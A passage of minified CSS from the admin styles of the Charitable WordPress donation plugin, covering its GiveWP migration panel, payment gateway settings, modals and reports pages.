0 20px 0;font-family:"Inter", sans-serif;font-size:13px;line-height:1.6}.charitable-import-pro-notice p{margin:0}.charitable-import-pro-notice a{color:#B8600B}th .badge.beta,th label .badge.beta{display:inline-block;color:#fff;background-color:#007bff;font-size:10px;font-weight:700;letter-spacing:0.5px;padding:2px 8px;border-radius:0.25rem;text-transform:uppercase;line-height:1.4;vertical-align:middle;margin-left:6px}tr.charitable-givewp-migration-row th[scope=row] label{font-size:13px;font-weight:600}.charitable-givewp-migration-wrap{max-width:520px;padding:10px 0;font-family:"Inter", sans-serif}.charitable-givewp-migration-wrap .migration-info-box{background:#F6F7F7;border:1px solid #E1E1E1;border-radius:4px;padding:16px 20px;margin-bottom:16px}.charitable-givewp-migration-wrap .migration-info-box.charitable-before-import{background:#FFF8E5;border:1px solid #DBA617}.charitable-givewp-migration-wrap .migration-info-box .info-box-heading{margin:0 0 8px 0;font-size:13px}.charitable-givewp-migration-wrap .migration-info-box ul{margin:0;padding:0 0 0 18px;list-style:disc}.charitable-givewp-migration-wrap .migration-info-box ul li{font-size:13px;line-height:1.6;color:#50575E;margin-bottom:4px}.charitable-givewp-migration-wrap .migration-data-found{border-collapse:collapse;width:100%;margin:0}.charitable-givewp-migration-wrap .migration-data-found td{padding:4px 12px 4px 0;font-size:13px;color:#50575E;border:none}.charitable-givewp-migration-wrap .migration-data-found td.data-count{font-weight:700;color:#1D2327;width:40px}.charitable-givewp-migration-wrap .migration-select-section{margin-bottom:16px}.charitable-givewp-migration-wrap .migration-select-section .select-heading{margin:0 0 10px 0;font-size:13px}.charitable-givewp-migration-wrap .migration-options{margin-bottom:10px;padding-bottom:10px;border-bottom:1px solid #E1E1E1}.charitable-givewp-migration-wrap .migration-options label{display:block;margin-bottom:8px;font-size:13px;color:#1D2327;cursor:pointer}.charitable-givewp-migration-wrap .migration-options label input[type="checkbox"]{margin-right:6px}.charitable-givewp-migration-wrap .migration-extra-options{margin-bottom:0}.charitable-givewp-migration-wrap .migration-extra-options label{display:block;margin-bottom:6px;font-size:13px;color:#1D2327;cursor:pointer}.charitable-givewp-migration-wrap .migration-extra-options label input[type="checkbox"]{margin-right:6px}.charitable-givewp-migration-wrap .migration-extra-options .option-description{color:#888;font-style:italic;font-size:12px}.charitable-givewp-migration-wrap .migration-button-wrap{margin:20px 0}.charitable-givewp-migration-wrap .charitable-migration-btn{display:inline-flex;align-items:center;gap:6px;background:#5AA152;color:#fff;border:none;border-radius:4px;padding:10px 22px;font-size:14px;font-weight:600;font-family:"Inter", sans-serif;cursor:pointer;line-height:1.4;transition:background 0.2s ease}.charitable-givewp-migration-wrap .charitable-migration-btn:hover{background:#4A8A44;color:#fff}.charitable-givewp-migration-wrap .charitable-migration-btn:disabled{opacity:0.6;cursor:not-allowed}.charitable-givewp-migration-wrap .charitable-migration-btn .dashicons{font-size:18px;width:18px;height:18px;line-height:1}.charitable-givewp-migration-wrap .migration-progress{display:none;margin-top:15px}.charitable-givewp-migration-wrap .progress-bar-outer{width:100%;height:24px;background:#F0F0F1;border-radius:3px;overflow:hidden}.charitable-givewp-migration-wrap .progress-bar-inner{width:0;height:100%;background:#5AA152;transition:width 0.3s ease;border-radius:3px}.charitable-givewp-migration-wrap .progress-status{margin-top:8px;font-size:13px;color:#646970}.charitable-givewp-migration-wrap .migration-results,.charitable-givewp-migration-wrap .migration-dry-run-results{display:none;margin-top:15px}.charitable-givewp-migration-wrap .migration-results h4,.charitable-givewp-migration-wrap .migration-dry-run-results h4{font-size:14px;font-weight:600;margin:0 0 10px 0}.charitable-givewp-migration-wrap .migration-results table,.charitable-givewp-migration-wrap .migration-dry-run-results table{border-collapse:collapse;width:100%}.charitable-givewp-migration-wrap .migration-results table th,.charitable-givewp-migration-wrap .migration-results table td,.charitable-givewp-migration-wrap .migration-dry-run-results table th,.charitable-givewp-migration-wrap .migration-dry-run-results table td{padding:8px 12px;text-align:left;border-bottom:1px solid #E1E1E1;font-size:13px}.charitable-givewp-migration-wrap .migration-results table th,.charitable-givewp-migration-wrap .migration-dry-run-results table th{font-weight:600;color:#1D2327}.charitable-givewp-migration-wrap .migration-error{display:none;color:#D63638;margin-top:10px;font-size:13px}body.charitable_page_charitable-reports div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4,body.charitable_page_charitable-reports h4,body.charitable_page_charitable-tools div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4,body.charitable_page_charitable-tools h4,body.charitable_page_charitable-settings div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4,body.charitable_page_charitable-settings h4{font-family:"Inter", sans-serif;font-weight:500}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table th,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table th,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table th{min-width:auto !important}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr th[scope=row] h4,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr th[scope=row] h4,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr th[scope=row] h4{padding-bottom:20px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr td,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr td,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table tbody tr td{padding-top:5px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways div#charitable-settings table.form-table a.wpcharitable-stripe-connect,body.charitable_page_charitable-tools.charitable-admin-settings-gateways div#charitable-settings table.form-table a.wpcharitable-stripe-connect,body.charitable_page_charitable-settings.charitable-admin-settings-gateways div#charitable-settings table.form-table a.wpcharitable-stripe-connect{margin-top:-10px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways .charitable-settings-field,body.charitable_page_charitable-tools.charitable-admin-settings-gateways .charitable-settings-field,body.charitable_page_charitable-settings.charitable-admin-settings-gateways .charitable-settings-field{font-size:13px;margin-top:10px}body.charitable_page_charitable-reports.charitable-admin-settings-gateways #charitable_settings_test_mode.charitable-settings-field,body.charitable_page_charitable-tools.charitable-admin-settings-gateways #charitable_settings_test_mode.charitable-settings-field,body.charitable_page_charitable-settings.charitable-admin-settings-gateways #charitable_settings_test_mode.charitable-settings-field{margin-top:-10px}body.charitable_page_charitable-reports .charitable-settings-object h4,body.charitable_page_charitable-tools .charitable-settings-object h4,body.charitable_page_charitable-settings .charitable-settings-object h4{line-height:40px}body.charitable_page_charitable-reports .charitable-settings-object.charitable-gateway,body.charitable_page_charitable-tools .charitable-settings-object.charitable-gateway,body.charitable_page_charitable-settings .charitable-settings-object.charitable-gateway{min-height:40px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo{float:left;padding:5px 0 0 20px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-badge,body.charitable_page_charitable-tools .charitable-settings-object .gateway-badge,body.charitable_page_charitable-settings .charitable-settings-object .gateway-badge{background-color:#347d39 !important;font-weight:500;color:white;font-size:0.775rem;line-height:1.25rem;padding-bottom:0.225rem;padding-left:0.625rem;padding-right:0.625rem;padding-top:0.225rem}body.charitable_page_charitable-reports .charitable-settings-object .make-default-gateway,body.charitable_page_charitable-tools .charitable-settings-object .make-default-gateway,body.charitable_page_charitable-settings .charitable-settings-object .make-default-gateway{display:inline-block;color:#2B66D1;text-transform:capitalize;font-weight:500;font-size:12px;line-height:12px;margin-left:0 !important;text-decoration:underline}body.charitable_page_charitable-reports .charitable-settings-object .make-default-gateway i,body.charitable_page_charitable-tools .charitable-settings-object .make-default-gateway i,body.charitable_page_charitable-settings .charitable-settings-object .make-default-gateway i{font-size:15px;line-height:15px;margin-right:3px}body.charitable_page_charitable-reports .charitable-settings-object .default-gateway,body.charitable_page_charitable-tools .charitable-settings-object .default-gateway,body.charitable_page_charitable-settings .charitable-settings-object .default-gateway{margin-top:6px;display:inline-block}body.charitable_page_charitable-reports .charitable-settings-object > .charitable-badge,body.charitable_page_charitable-tools .charitable-settings-object > .charitable-badge,body.charitable_page_charitable-settings .charitable-settings-object > .charitable-badge{margin-left:15px;top:8px;position:relative}body.charitable_page_charitable-reports .charitable-settings-object > .charitable-badge ~ .charitable-badge,body.charitable_page_charitable-tools .charitable-settings-object > .charitable-badge ~ .charitable-badge,body.charitable_page_charitable-settings .charitable-settings-object > .charitable-badge ~ .charitable-badge{margin-left:5px}body.charitable_page_charitable-reports .charitable-settings-object,body.charitable_page_charitable-tools .charitable-settings-object,body.charitable_page_charitable-settings .charitable-settings-object{display:flex;flex-direction:row;align-items:center;justify-content:space-between}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo{padding:0}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name{padding:0 0 0 10px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name .charitable-badge,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name .charitable-badge,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name .charitable-badge{margin-right:10px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name h4,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name h4,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name h4{width:130px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo{margin-bottom:-5px}body.charitable_page_charitable-reports .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-tools .charitable-settings-object .gateway-logo-name,body.charitable_page_charitable-settings .charitable-settings-object .gateway-logo-name{display:flex;align-items:center;justify-content:center;flex-direction:row}body.charitable_page_charitable-reports .charitable-settings-object.square .gateway-logo,body.charitable_page_charitable-tools .charitable-settings-object.square .gateway-logo,body.charitable_page_charitable-settings .charitable-settings-object.square .gateway-logo{margin-bottom:-5px}body.charitable_page_charitable-reports tr.charitable-test-mode-checkbox,body.charitable_page_charitable-tools tr.charitable-test-mode-checkbox,body.charitable_page_charitable-settings tr.charitable-test-mode-checkbox{display:flex;justify-content:left;align-items:center;width:calc(100% - 20px)}body.charitable_page_charitable-reports tr.charitable-test-mode-checkbox th h4,body.charitable_page_charitable-tools tr.charitable-test-mode-checkbox th h4,body.charitable_page_charitable-settings tr.charitable-test-mode-checkbox th h4{padding:0 !important;margin:0 !important}body.charitable_page_charitable-reports tr.charitable-test-mode-checkbox td,body.charitable_page_charitable-tools tr.charitable-test-mode-checkbox td,body.charitable_page_charitable-settings tr.charitable-test-mode-checkbox td{margin:0;padding:0}body.charitable_page_charitable-reports .square-business-locations.square-disconnected,body.charitable_page_charitable-tools .square-business-locations.square-disconnected,body.charitable_page_charitable-settings .square-business-locations.square-disconnected{display:none !important}body.charitable-admin-settings-gateways.charitable-admin-settings-gateways-main table.form-table tbody tr:last-child{display:none}body.charitable-admin-settings-gateways.charitable-admin-settings-gateways-main p.submit{margin-bottom:40px}body.charitable-admin-settings a.button,body.taxonomy-campaign_tag a.button,body.taxonomy-campaign_category a.button{background-color:#F8F8F9;border-color:#D7D7DB;color:#5C5F6A;border-radius:5px;padding:5px 10px}body.charitable-admin-settings a.button:hover,body.taxonomy-campaign_tag a.button:hover,body.taxonomy-campaign_category a.button:hover{background-color:#d1d1d8;border-color:#D7D7DB}body.charitable-admin-settings a.button-primary,body.taxonomy-campaign_tag a.button-primary,body.taxonomy-campaign_category a.button-primary{background-color:#5AA152;border-color:#5AA152;color:white;border-radius:5px}body.charitable-admin-settings a.button-primary:hover,body.taxonomy-campaign_tag a.button-primary:hover,body.taxonomy-campaign_category a.button-primary:hover{background-color:#3f7539;border-color:#3f7539}body.charitable-admin-settings input.button-primary[type=submit],body.taxonomy-campaign_tag input.button-primary[type=submit],body.taxonomy-campaign_category input.button-primary[type=submit]{background-color:#5AA152;border-color:#5AA152;color:white;border-radius:5px;font-family:"Inter", sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize}body.charitable-admin-settings input.button-primary[type=submit]:hover,body.taxonomy-campaign_tag input.button-primary[type=submit]:hover,body.taxonomy-campaign_category input.button-primary[type=submit]:hover{background-color:#3f7539;border-color:#3f7539}body.taxonomy-campaign_tag input.button-primary[type=submit],body.taxonomy-campaign_category input.button-primary[type=submit]{line-height:0;height:50px}.charitable-badge{font-family:-apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, Oxygen-Sans, Ubuntu, Cantarell, "Helvetica Neue", sans-serif;text-transform:uppercase;font-weight:700;text-align:center;line-height:6px;user-select:none;transition-property:all;transition-duration:0.15s;transition-timing-function:ease-out}.charitable-badge i.fa{margin-right:5px}.charitable-badge-sm{font-size:8px;letter-spacing:0.4px;padding:6px 8px}.charitable-badge-inline{display:inline-block}.charitable-badge-green{color:#30b450;background-color:#e5f6e9}.charitable-badge-orange{color:#f18200;background-color:#fff3e6}.charitable-badge-rounded{border-radius:3px}.charitable-panel-sidebar .charitable-badge{border-radius:4px;color:#ffffff;font-size:10px;font-weight:700;line-height:1;padding:4px 5px;margin-inline-end:10px;position:relative;top:-2px;left:10px}.charitable-panel-sidebar .charitable-badge-green{color:#fff;background-color:#00a32a}body.wp-admin #wpbody .charitable-wrap .badge.v2{background-color:transparent !important}body.wp-admin #wpbody .charitable-wrap .badge.v2 .mascot{height:75px;width:75px;background-image:url("../../assets/images/charitable-logo.svg");background-size:cover;background-repeat:no-repeat}.charitable-hide{display:none}.charitable-hidden{display:none !important}.screen-reader-text{border:0;clip:rect(1px, 1px, 1px, 1px);clip-path:inset(50%);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px;word-wrap:normal !important}div#charitable-settings table.form-table tbody tr.section-heading th[scope=row] h4,div#charitable-settings table.form-table tbody tr:first-child th[scope=row] h4{font-weight:600 !important}div#charitable-tools table.form-table tbody tr:first-child th[scope=row] h4{font-weight:600 !important;font-size:20px;margin:0 0 -20px 0;line-height:20px}div#charitable-tools h4#system-information,div#charitable-tools h4#code-snippets{font-weight:600 !important;font-size:20px;margin:20px 0;line-height:20px}.notice.charitable-notice{padding:10px 10px}body.post-type-campaign .jconfirm .jconfirm-box{padding:0 0 0}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-closeIcon{color:#545660;padding-top:5px;padding-right:10px;font-size:40px !important}body.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-content-pane{margin:35px 30px -10px 30px;width:-webkit-calc(100% - 30px);width:-moz-calc(100% - 30px);width:calc(100% - 30px)}body.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-title-c{padding:30px 0 40px 30px;background-color:#282937}body.post-type-campaign .jconfirm .jconfirm-box div.jconfirm-title-c span.jconfirm-title{color:#ffffff;font-weight:600}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-buttons{float:left;padding:0 30px 30px 30px}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green{background-color:#5AA152;text-transform:capitalize;border-radius:5px;font-weight:500;padding:15px 25px;font-size:16px;line-height:20px}body.post-type-campaign .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green:hover{background-color:#3f7539}body.post-type-campaign .jconfirm .jconfirm-box input.campaign_name.form-control{border-color:#DFDFE1;display:inline-block;margin-left:10px;margin-top:20px;margin-bottom:20px !important;width:90% !important}body.post-type-campaign .jconfirm .jconfirm-box label{display:inline-block !important;margin-top:0 !important}body.post-type-campaign .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link{color:#3459C4 !important;text-decoration:none}body.post-type-campaign .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link:hover{text-decoration:underline}body.post-type-campaign .jconfirm .jconfirm-box.jconfirm-type-create-campaign .jconfirm-closeIcon{color:white;opacity:0.7;width:15px;height:15px;top:25px;right:25px;font-weight:200;font-size:28px !important}body.post-type-campaign .jconfirm .jconfirm-box.jconfirm-type-create-campaign .jconfirm-title-c{color:#E7E7E9;padding:30px 0 30px 30px !important;font-size:18px;font-weight:600}body.post-type-campaign .jconfirm .jconfirm-box.jconfirm-type-create-campaign div.jconfirm-content-pane{margin:0 30px 0 30px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal{max-width:400px;background-color:#ffffff;color:#5C5F6B;font-family:"Inter", sans-serif}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal .modal-close{position:absolute;top:10px;right:10px;z-index:10;cursor:pointer}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal .modal-close::before{content:"\f158";display:block !important;font:normal 20px/1 dashicons;speak:none;height:22px;margin:2px 0;text-align:center;width:22px;color:#777;-webkit-font-smoothing:antialiased !important;-moz-osx-font-smoothing:grayscale}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal h3{margin:0 0 30px 0;font-size:24px;line-height:32px;font-weight:400;text-align:left;color:#5C5F6B}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal legend,body.post-type-campaign.edit-php.post-type-charitable .charitable-modal label{color:#303442;margin-bottom:10px;display:block;font-size:14px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal select{width:100%;padding:5px 15px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal select,body.post-type-campaign.edit-php.post-type-charitable .charitable-modal input[type=text]{margin-bottom:20px;border-radius:4px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal button.button{background:#FAFAFB;font-weight:500;font-size:12px;line-height:14px;text-align:center;margin:0 auto 0 0;color:#5E616C;border:1px solid #DDD;border-radius:4px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal input.charitable-datepicker{width:48%;display:inline-block;background-image:url("../../images/icons/calendar.png");background-repeat:no-repeat;background-position:163px center;background-size:15px 15px;border:1px solid #E3E3E5;border-radius:4px}body.post-type-campaign.edit-php.post-type-charitable .charitable-modal #charitable-filter-end_date_to,body.post-type-campaign.edit-php.post-type-charitable .charitable-modal #charitable-filter-start_date_to{float:right}body.post-type-donation .jconfirm .jconfirm-box{padding:0 0 0}body.post-type-donation .jconfirm .jconfirm-box .jconfirm-closeIcon{color:#545660;padding-top:5px;padding-right:10px;font-size:40px !important}body.post-type-donation .jconfirm .jconfirm-box div.jconfirm-content-pane{margin:35px 30px -10px 30px;width:-webkit-calc(100% - 30px);width:-moz-calc(100% - 30px);width:calc(100% - 30px)}body.post-type-donation .jconfirm .jconfirm-box div.jconfirm-title-c{padding:30px 0 40px 30px;background-color:#282937}body.post-type-donation .jconfirm .jconfirm-box div.jconfirm-title-c span.jconfirm-title{color:#ffffff;font-weight:600}body.post-type-donation .jconfirm .jconfirm-box .jconfirm-buttons{float:left;padding:0 30px 30px 30px}body.post-type-donation .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green{background-color:#5AA152;text-transform:capitalize;border-radius:5px;font-weight:500;padding:15px 25px;font-size:16px;line-height:20px}body.post-type-donation .jconfirm .jconfirm-box .jconfirm-buttons button.btn-green:hover{background-color:#3f7539}body.post-type-donation .jconfirm .jconfirm-box input.donation_name.form-control{border-color:#DFDFE1;display:inline-block;margin-left:10px;margin-top:20px;margin-bottom:20px !important;width:90% !important}body.post-type-donation .jconfirm .jconfirm-box label{display:inline-block !important;margin-top:0 !important}body.post-type-donation .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link{color:#3459C4 !important;text-decoration:none}body.post-type-donation .jconfirm .jconfirm-box a.charitable-lite-pro-popup-link:hover{text-decoration:underline}body.post-type-donation .jconfirm .jconfirm-box.jconfirm-type-create-donation .jconfirm-closeIcon{color:white;opacity:0.7;width:15px;height:15px;top:25px;right:25px;font-weight:200;font-size:28px !important}body.post-type-donation .jconfirm .jconfirm-box.jconfirm-type-create-donation .jconfirm-title-c{color:#E7E7E9;padding:30px 0 30px 30px !important;font-size:18px;font-weight:600}body.post-type-donation .jconfirm .jconfirm-box.jconfirm-type-create-donation div.jconfirm-content-pane{margin:0 30px 0 30px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal{max-width:400px;background-color:#ffffff;color:#5C5F6B;font-family:"Inter", sans-serif}body.post-type-donation.edit-php.post-type-charitable .charitable-modal .modal-close{position:absolute;top:10px;right:10px;z-index:10;cursor:pointer}body.post-type-donation.edit-php.post-type-charitable .charitable-modal .modal-close::before{content:"\f158";display:block !important;font:normal 20px/1 dashicons;speak:none;height:22px;margin:2px 0;text-align:center;width:22px;color:#777;-webkit-font-smoothing:antialiased !important;-moz-osx-font-smoothing:grayscale}body.post-type-donation.edit-php.post-type-charitable .charitable-modal h3{margin:0 0 30px 0;font-size:24px;line-height:32px;font-weight:400;text-align:left;color:#5C5F6B}body.post-type-donation.edit-php.post-type-charitable .charitable-modal legend,body.post-type-donation.edit-php.post-type-charitable .charitable-modal label{color:#303442;margin-bottom:10px;display:block;font-size:14px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal select{width:100%;padding:5px 15px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal select,body.post-type-donation.edit-php.post-type-charitable .charitable-modal input[type=text]{margin-bottom:20px;border-radius:4px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal button.button{background:#FAFAFB;font-weight:500;font-size:12px;line-height:14px;text-align:center;margin:0 auto 0 0;color:#5E616C;border:1px solid #DDD;border-radius:4px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal input.charitable-datepicker{width:48%;display:inline-block;background-image:url("../../images/icons/calendar.png");background-repeat:no-repeat;background-position:163px center;background-size:15px 15px;border:1px solid #E3E3E5;border-radius:4px}body.post-type-donation.edit-php.post-type-charitable .charitable-modal #charitable-filter-end_date_to,body.post-type-donation.edit-php.post-type-charitable .charitable-modal #charitable-filter-start_date_to{float:right}body.charitable_page_charitable-reports .charitable-overview-report,body.charitable_page_charitable-reports .charitable-activity-report{position:relative;padding:0px}body.charitable_page_charitable-reports .charitable-overview-report a.button,body.charitable_page_charitable-reports .charitable-activity-report a.button{border-radius:5px;font-family:"Inter", sans-serif;font-weight:600;font-size:14px;line-height:14px;padding:15px 20px;text-transform:capitalize}body.charitable_page_charitable-reports .charitable-overview-report a.button.button-primary,body.charitable_page_charitable-reports .charitable-activity-report a.button.button-primary{background-color:#5AA152;border-color:#5AA152;color:white}body.charitable_page_charitable-reports .charitable-overview-report-loading{background-color:rgba(255, 255, 255, 0.85);position:absolute;top:0;bottom:0;left:0;right:0;width:100%;height:100%;z-index:99}body.charitable_page_charitable-reports .charitable-section-loading{opacity:0.25}body.charitable_page_charitable-reports .nav-tab.advanced::after,body.charitable_page_charitable-reports .nav-tab.activity::after,body.charitable_page_charitable-reports .nav-tab.donors::after{content:"Pro";background-color:#F99E36;padding:3px 7px;font-size:11px;line-height:11px;text-transform:uppercase;color:white;font-weight:600;margin-left:5px;margin-right:5px;margin-top:0;position:relative;top:-7px}body.charitable_page_charitable-reports .tablenav{font-family:"Inter", sans-serif !important;min-height:30px;height:auto;margin-top:0;margin-bottom:0}body.charitable_page_charitable-reports .tablenav .alignleft,body.charitable_page_charitable-reports .tablenav .alignright{margin-top:10px;margin-bottom:10px}body.charitable_page_charitable-reports .tablenav #charitable-advanced-date-pickers,body.charitable_page_charitable-reports .tablenav #charitable-advanced-filter-buttons{display:inline-block}body.charitable_page_charitable-reports .tablenav form{display:block;margin:0;padding:0;float:left}body.charitable_page_charitable-reports .tablenav select{font-size:13px;line-height:29px;font-weight:500;max-width:none;padding-right:30px;background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;height:38px}body.charitable_page_charitable-reports .tablenav a.button,body.charitable_page_charitable-reports .tablenav input.button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;height:38px;padding-top:0;padding-bottom:0;min-height:auto;line-height:38px;font-size:13px}body.charitable_page_charitable-reports .tablenav a.button:hover,body.charitable_page_charitable-reports .tablenav input.button:hover{background-color:#E4E4E7}body.charitable_page_charitable-reports .tablenav .charitable-datepicker-container a.button{display:block}body.charitable_page_charitable-reports .tablenav a.button.with-icon label{padding-right:10px}body.charitable_page_charitable-reports .tablenav a.button.with-icon img{margin-bottom:-2px}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button:hover{background-color:#E4E4E7}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-reports .tablenav button.charitable-report-download-button img{margin-bottom:-2px}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button:hover{background-color:#E4E4E7}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button label{padding-right:10px;pointer-events:none}body.charitable_page_charitable-reports .tablenav button.charitable-report-print-button img{margin-bottom:-4px}body.charitable_page_charitable-reports .tablenav input.charitable-datepicker{width:115px;display:inline-block;background-image:url("../../images/icons/calendar.png");background-repeat:no-repeat;background-position:90px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7}body.charitable_page_charitable-reports .tablenav input.charitable-datepicker-ranged,body.charitable_page_charitable-reports .tablenav input.charitable-reports-datepicker{width:195px;display:inline-block;background-image:url("../../images/icons/calendar.png");background-repeat:no-repeat;background-position:170px center;background-size:15px 15px;font-size:13px;border-radius:0;background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;margin-left:4px;margin-right:4px;height:38px;padding-top:0;padding-bottom:0}body.charitable_page_charitable-reports .tablenav input.charitable-datepicker-ranged:hover,body.charitable_page_charitable-reports .tablenav input.charitable-reports-datepicker:hover{background-color:#E4E4E7}body.charitable_page_charitable-reports .tablenav.with-margin{margin-bottom:20px}body.charitable_page_charitable-reports .charitable-section{margin-top:20px;margin-bottom:20px;display:table}body.charitable_page_charitable-reports .charitable-section .alignleft,body.charitable_page_charitable-reports .charitable-section .alignright{margin-bottom:15px;margin-top:15px}body.charitable_page_charitable-reports .charitable-section.no-bottom{margin-bottom:0}body.charitable_page_charitable-reports .charitable-section.no-bottom .alignleft,body.charitable_page_charitable-reports .charitable-section.no-bottom .alignright{margin-bottom:0}body.charitable_page_charitable-reports .charitable-container{border-radius:5px;color:#757781;background-color:#FFF}body.charitable_page_charitable-reports .charitable-datepicker-container{display:inline-block;margin-left:5px}body.charitable_page_charitable-reports .charitable-headline-graph-container{padding:20px 30px}body.charitable_page_charitable-reports .charitable-headline-graph-container.charitable-with-growth-tools{position:relative}body.charitable_page_charitable-reports .charitable-section-grid{display:grid;grid-template-columns:repeat(2, 1fr);grid-gap:20px;margin-top:20px}body.charitable_page_charitable-reports .charitable-section-grid.one-third{display:flex;flex-direction:row}body.charitable_page_charitable-reports .charitable-section-grid.charitable-section-grid-column-flexible{align-items:flex-start}body.charitable_page_charitable-reports .charitable-section-grid.charitable-section-grid-column-single{columns:1;column-gap:none;display:block}body.charitable_page_charitable-reports .charitable-cards{display:grid;grid-template-columns:repeat(4, 1fr);margin-top:20px;margin-bottom:20px;grid-gap:20px;width:100%}body.charitable_page_charitable-reports .charitable-cards .charitable-card{padding-top:60px;padding-bottom:60px;font-weight:500px;font-size:16px;line-height:16px;text-align:center}body.charitable_page_charitable-reports .charitable-cards .charitable-card p{margin-top:5px;margin-bottom:0}body.charitable_page_charitable-reports .charitable-cards .charitable-card strong{color:#474A57;font-weight:600;font-size:42px;line-height:44px}body.charitable_page_charitable-reports .donations-breakdown tr th{color:#6A6C77}body.charitable_page_charitable-reports .donations-breakdown td{padding-top:20px;padding-bottom:20px;color:#8C8E96}body.charitable_page_charitable-reports .donations-breakdown td.negative{color:#F99E36}body.charitable_page_charitable-reports .donations-breakdown td.positive{color:#5AA152}body.charitable_page_charitable-reports .donations-breakdown tr th:first-child,body.charitable_page_charitable-reports .donations-breakdown td:first-child{padding-left:30px}body.charitable_page_charitable-reports .donations-breakdown td.column-date{font-weight:600}body.charitable_page_charitable-reports .charitable-report-card .header{margin:20px 0 0 0;padding-bottom:20px;padding-left:30px;padding-right:30px;border-bottom:1px solid #EFEFF1}body.charitable_page_charitable-reports .charitable-report-card .header h4{color:#303442;font-weight:600;font-size:17px;line-height:22px;display:inline-block;margin:0;padding:0}body.charitable_page_charitable-reports .charitable-report-card .header a{display:block;float:right;font-size:23px;line-height:23px}body.charitable_page_charitable-reports .charitable-report-card .the-graph{width:100%}body.charitable_page_charitable-reports .charitable-report-card .the-list{padding-left:20px;padding-right:20px;margin-left:10px;margin-right:10px;max-height:550px;overflow:scroll}body.charitable_page_charitable-reports .charitable-report-card .the-list.charitable-no-scroll{overflow:visible;max-height:none}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li{color:#474A57;display:flex;border-bottom:1px solid #EFEFF1;padding-bottom:15px;padding-top:15px}body.charitable_page_charitable-reports .charitable-report-card .the-list ul li .avatar,body.charitable_page_charitable-reports .charitable-report-card .the-list ul li 